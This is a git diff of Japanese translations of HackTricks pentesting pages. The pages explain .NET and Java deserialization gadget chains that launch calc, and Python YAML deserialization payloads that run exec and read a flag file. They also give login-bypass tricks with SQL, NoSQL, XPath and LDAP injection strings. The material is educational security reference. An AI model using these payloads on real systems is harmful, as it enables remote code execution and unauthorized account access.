@ -157,7 +157,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
このコードでは、**エクスプロイトをテスト**することができます。単に実行すると、calc が実行されることがわかります
このコードでは、**エクスプロイトをテスト**することができます。単に実行すると、calc が実行されることがわかります
```java
using System;
using System.Text;
@ -198,10 +198,10 @@ TypeNameHandling = TypeNameHandling.Auto
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**してみたいですか?または**最新版のPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**してみたいですか?または**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **[💬 Discordグループ](https://emojipedia.org/speech-balloon/)に参加**するか、[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
</details>

View file

@ -1,20 +1,20 @@
# CommonsCollection1 ペイロード - Java Transformersを使用したRutime exec()およびThread Sleep
# CommonsCollection1 ペイロード - Java Transformers to Rutime exec() および Thread Sleep
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を入手してください
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**フォロー**してください。
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)および[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
* **サイバーセキュリティ企業**で働いていますか? **HackTricks で企業を宣伝**してみたいですか?または **最新バージョンの PEASS を入手したり、HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけてください
* [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discord グループ**に**参加**するか、[**telegram グループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**フォロー**してください。
* **ハッキングテクニックを共有するために、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks) および [hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)** PR を提出してください。
</details>
## Java Transformersを使用したRutime exec()
## Java Transformers to Rutime exec()
いくつかの場所で、次のようなApache common collectionsからのtransformersを使用したjava逆シリアル化ペイロードが見つかります:
いくつかの場所で、次のような Apache common collections のトランスフォーマを使用した Java 逆シリアル化ペイロードが見つかります:
```java
import org.apache.commons.*;
import org.apache.commons.collections.*;
@ -55,7 +55,7 @@ lazyMap.get("anything");
もしJavaの逆シリアル化ペイロードについて何も知らない場合、なぜこのコードがcalcを実行するのかを理解するのは難しいかもしれません。
まず最初に知っておくべきことは、**JavaにおけるTransformer**は、**クラスを受け取り**、**異なるクラスに変換する**ものです。\
また、ここで**実行されているペイロード**が**等価**であることを知っておくと興味深いです
また、ここで**実行されているペイロード**が**等価**であることを知っておくと興味深いです
```java
Runtime.getRuntime().exec(new String[]{"calc.exe"});
```
@ -65,7 +65,7 @@ Runtime.getRuntime().exec(new String[]{"calc.exe"});
```
### 方法
では、最初のペイロードがどのようにしてそれらの「シンプルなワンライナーと同等であるかを見てみましょう。
では、最初のペイロードがどのようにして「シンプルなワンライナーと同等であるかを見てみましょう。
まず、ペイロードの中で**変換のチェーン(配列)が作成**されていることに気づくことができます。
```java
@ -102,7 +102,7 @@ Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");
```
最後のペイロードのセクションでは、**Mapオブジェクトが作成されています**。その後、`LazyMap`から`decorate`関数が実行され、マップオブジェクトとチェーンされたトランスフォーマが渡されます。次のコードからわかるように、これにより**チェーンされたトランスフォーマ**が`lazyMap.factory`属性の中にコピーされることになります:
最後のペイロードのセクションでは、**Mapオブジェクトが作成**されていることがわかります。次に、`LazyMap`から`decorate`関数が実行され、マップオブジェクトとチェーンされたトランスフォーマが渡されます。次のコードから、これにより**チェーンされたトランスフォーマー**が`lazyMap.factory`属性の内部にコピーされることがわかります:
```java
protected LazyMap(Map map, Transformer factory) {
super(map);
@ -134,7 +134,7 @@ object = iTransformers[i].transform(object);
return object;
}
```
したがって、**`factory`** の内部には **`chainedTransformer`** が保存されており、**`transform`** 関数の内部では、**それらのチェーンされたtransformerをすべて通過**し、1つずつ実行しています。面白いことに、**各transformerは入力として`object`**を使用しており、**objectは前に実行されたtransformerの出力**です。したがって、**すべての変換は悪意のあるペイロードを実行するようにチェーンされています**。
したがって、**`factory`** の内部には **`chainedTransformer`** が保存されており、**`transform`** 関数の内部では、**それらのチェーンされたtransformerをすべて通過**し、1つずつ実行しています。面白いことに、**各transformerは入力として`object`を使用**し、**objectは前に実行されたtransformerの出力**です。したがって、**すべてのtransformは、悪意のあるペイロードを実行するようにチェーンされています**。
### 要約
@ -159,15 +159,15 @@ new Class[]{String.class},
command
).transform(value); //(4)
```
_注意してください。`value` は各変換の入力であり、前の変換の出力であることにより、ワンライナーの実行が可能になります。_
注意してください。`value` が各変換の入力であり、前の変換の出力であることにより、ワンライナーの実行が可能になります。
```java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
```
ここでは、**ComonsCollections1** ペイロードに使用されるガジェットが説明されていました。しかし、**これがどのようにして実行を開始するかは残されています**。[ここで **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java) を見ると、このペイロードを実行するために `AnnotationInvocationHandler` オブジェクトが使用されていることがわかります。なぜなら、**このオブジェクトが逆シリアル化されると** `payload.get()` 関数が呼び出され、**ペイロード全体が実行される**からです。
Note that here it **was explained the gadgets** used for the **ComonsCollections1** payload. But it's left **how all this starts it's executing**. You can see [here that **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), in order to execute this payload, uses an `AnnotationInvocationHandler` object because **when this object gets deserialized**, it will **invoke** the `payload.get()` function that will **execute the whole payload**.
## Java Thread Sleep
このペイロードは、**Web が脆弱かどうかを特定するのに便利**であり、脆弱である場合はスリープを実行します。
This payload could be **handy to identify if the web is vulnerable as it will execute a sleep if it is**.
```java
import org.apache.commons.*;
import org.apache.commons.collections.*;
@ -210,7 +210,7 @@ lazyMap.get("anything");
}
}
```
## もっとガジェット
## より多くのガジェット
こちらでさらに多くのガジェットを見つけることができます: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
@ -220,10 +220,10 @@ lazyMap.get("anything");
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
* [**公式PEASSHackTricksのスウェグ**](https://peass.creator-spring.com)を手に入れま
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksのッズ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>

View file

@ -5,17 +5,17 @@
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)****
* **ハッキングテクニックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに。
</details>
# Yaml **Deserialization**
**Yaml** python ライブラリは、生データだけでなく **Pythonオブジェクトをシリアライズ** することもできます
**Yaml** python ライブラリは、生データだけでなく **Pythonオブジェクトをシリアライズ** することもできます:
```
print(yaml.dump(str("lol")))
lol
@ -33,7 +33,7 @@ print(yaml.dump(range(1,10)))
- 10
- 1
```
チェックしてみてください。**タプル**は生のデータ型ではないため、**シリアル化**されました。そして同じことが**range**(組み込みから取得)でも起こりました。
**タプル**が生のデータ型ではないため、それが**シリアル化**されたことを確認してください。そして、同じことが**range**(組み込みから取得)でも起こりました。
![](<../../.gitbook/assets/image (628) (1).png>)
@ -56,7 +56,7 @@ print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object
```
前のコードでは、シリアル化されたPythonクラスをロードするために**unsafe\_load**を使用しました。これは、**version >= 5.1**では、load()でLoaderが指定されていないかLoader=SafeLoaderでないと、**シリアル化されたPythonクラスやクラス属性をデシリアライズすることができない**ためです。
前のコードでは、シリアル化されたPythonクラスをロードするために**unsafe\_load**が使用されていました。これは、**version >= 5.1**では、load()でLoaderが指定されていないかLoader=SafeLoaderとなっていない限り、**シリアル化されたPythonクラスやクラス属性をデシリアライズすることができない**ためです。
## 基本的なエクスプロイト
@ -92,11 +92,11 @@ update: !!python/name:exec
```yaml
!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}
```
最近のバージョンでは、`Loader`なしで`.load()`を呼び出すことはできなくなり、`FullLoader`はこの攻撃に対して脆弱ではなくなりました。
Note that in **recent versions** you cannot **no longer call `.load()`** **without a `Loader`** and the **`FullLoader`** is **no longer vulnerable** to this attack.
# RCE
**PyYAML**や**ruamel.yaml**などのPython YAMLモジュールを使用してカスタムペイロードを作成できます。これらのペイロードは、信頼されていない入力を適切にサニタイズせずにデシリアライズするシステムの脆弱性を悪用することができます。
Custom payloads can be created using Python YAML modules such as **PyYAML** or **ruamel.yaml**. These payloads can exploit vulnerabilities in systems that deserialize untrusted input without proper sanitization.
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
@ -118,7 +118,7 @@ print(yaml.unsafe_load(deserialized_data))
```
## ペイロードを作成するツール
ツール[https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator)を使用して、**Pickle、PyYAML、jsonpickle、ruamel.yaml**を悪用するためのPython逆シリアル化ペイロードを生成できます。
ツール[https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator)は、**Pickle、PyYAML、jsonpickle、およびruamel.yaml**を悪用するためのPython逆シリアル化ペイロードを生成するために使用できます。
```bash
python3 peas.py
Enter RCE command :cat /root/flag.txt
@ -140,7 +140,7 @@ cat /tmp/example_yaml
- cat
- /root/flag.txt
```
# 参考文献
## 参考文献
* [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
* [https://net-square.com/yaml-deserialization-attack-in-python.html](https://net-square.com/yaml-deserialization-attack-in-python.html)
@ -153,9 +153,9 @@ cat /tmp/example_yaml
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details>

View file

@ -1,14 +1,14 @@
# PDFアップロード - XXEとCORSバイパス
# PDF Upload - XXE and CORS bypass
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>
@ -18,10 +18,10 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>

View file

@ -4,46 +4,46 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksッズ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/)Discordグループ**に**参加**するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するに、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの1つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての沸騰する出会いの場です。
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの1つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。
{% embed url="https://www.rootedcon.com/" %}
## **通常のログインをバイパスする**
ログインページを見つけた場合、以下のいくつかのテクニックを試してバイパスできるかもしれません
ログインページを見つけた場合、以下のいくつかのテクニックを試してバイパスできます
* ページ内に**コメント**があるかどうかを確認します(下にスクロールして右に移動しますか?)
* ページ内に**コメント**があるかどうかをチェックします(下にスクロールして右に移動しますか?)
* 制限されたページに**直接アクセスできるかどうかを確認します**
* パラメータを**送信しないで**確認します1つだけでも送信しない
* **PHP比較エラーを確認します:** `user[]=a&pwd=b`、`user=a&pwd[]=b`、`user[]=a&pwd[]=b`
* コンテンツタイプをjsonに変更してjson値を送信しますbool trueを含む
* パラメータを**送信しないで**チェックします1つだけでも送信しない
* **PHP比較エラーをチェックします:** `user[]=a&pwd=b`、`user=a&pwd[]=b`、`user[]=a&pwd[]=b`
* **コンテンツタイプをjsonに変更**してjson値を送信しますbool trueを含む
* POSTがサポートされていないという応答を受け取った場合、`Content-Type: application/json`を使用してGETリクエストでJSONを本文に送信してみてください
* Nodejsの潜在的な解析エラーを確認します([**こちら**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)を参照):`password[password]=1`
* nodejsの潜在的な解析エラーをチェックします([**こちら**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)を参照):`password[password]=1`
* Nodejsはそのペイロードを次のようなクエリに変換します`SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` これにより、パスワード部分が常にtrueになります。
* JSONオブジェクトを送信できる場合は、`"password":{"password": 1}`を送信してログインをバイパスできます。
* このログインをバイパスするには、引き続き**有効なユーザー名を知って送信する必要があります**。
* `mysql.createConnection`を呼び出す際に`"stringifyObjects":true`オプションを追加すると、パラメータに`Object`が渡された場合の**予期しない動作をすべてブロック**することができます。
* 資格情報を確認します:
* 資格情報をチェックします:
* 使用されている技術/プラットフォームの[**デフォルトの資格情報**](../../generic-methodologies-and-resources/brute-force.md#default-credentials)
* **一般的な組み合わせ**root、admin、password、技術の名前、これらのパスワードの1つを持つデフォルトユーザー
* **Cewl**を使用して辞書を作成し、デフォルトのユーザー名とパスワードを追加し、すべての単語を**ユーザー名とパスワードとして使用して**ブルートフォース攻撃を試みます
* より大きな辞書を使用して**ブルートフォース攻撃**を行います([**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-post-form)****
* より大きな**辞書を使用して**ブルートフォース攻撃を行います([**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-post-form)****
### SQLインジェクション認証バイパス
[ちらで、**SQLインジェクション**を介してログインをバイパスするためのいくつかのトリックを見つけることができます](../sql-injection/#authentication-bypass)。
[で、**SQLインジェクション**を介してログインをバイパスするためのいくつかのトリックを見つけることができます](../sql-injection/#authentication-bypass)。
以下のページでは、SQLインジェクションを介してログインをバイパスするための**カスタムリスト**を見つけることができます:
のページでは、SQLインジェクションを介してログインをバイパスするための**カスタムリスト**を見つけることができます:
{% content-ref url="sql-login-bypass.md" %}
[sql-login-bypass.md](sql-login-bypass.md)
@ -51,13 +51,13 @@
### No SQLインジェクション認証バイパス
[ちらで、**No SQLインジェクション**を介してログインをバイパスするためのいくつかのトリックを見つけることができます](../nosql-injection.md#basic-authentication-bypass)**。**
[で、**No SQLインジェクション**を介してログインをバイパスするためのいくつかのトリックを見つけることができます](../nosql-injection.md#basic-authentication-bypass)**。**
NoSQLインジェクションはパラメータの値を変更する必要があるため、手動でテストする必要があります。
### XPathインジェクション認証バイパス
[ちらで、**XPathインジェクション**を介してログインをバイパスするためのいくつかのトリックを見つけることができます](../xpath-injection.md#authentication-bypass)
[で、**XPathインジェクション**を介してログインをバイパスするためのいくつかのトリックを見つけることができます](../xpath-injection.md#authentication-bypass)
```
' or '1'='1
' or ''='
@ -95,12 +95,12 @@ admin))(|(|
### リダイレクト
通常、ログイン後にページがリダイレクトされます。そのリダイレクトを変更して [**オープンリダイレクト**](../open-redirect.md) を引き起こせないか確認してください。ユーザーをあなたのウェブサイトにリダイレクトすることで、情報(コード、クッキーなど)を盗むことができるかもしれません。
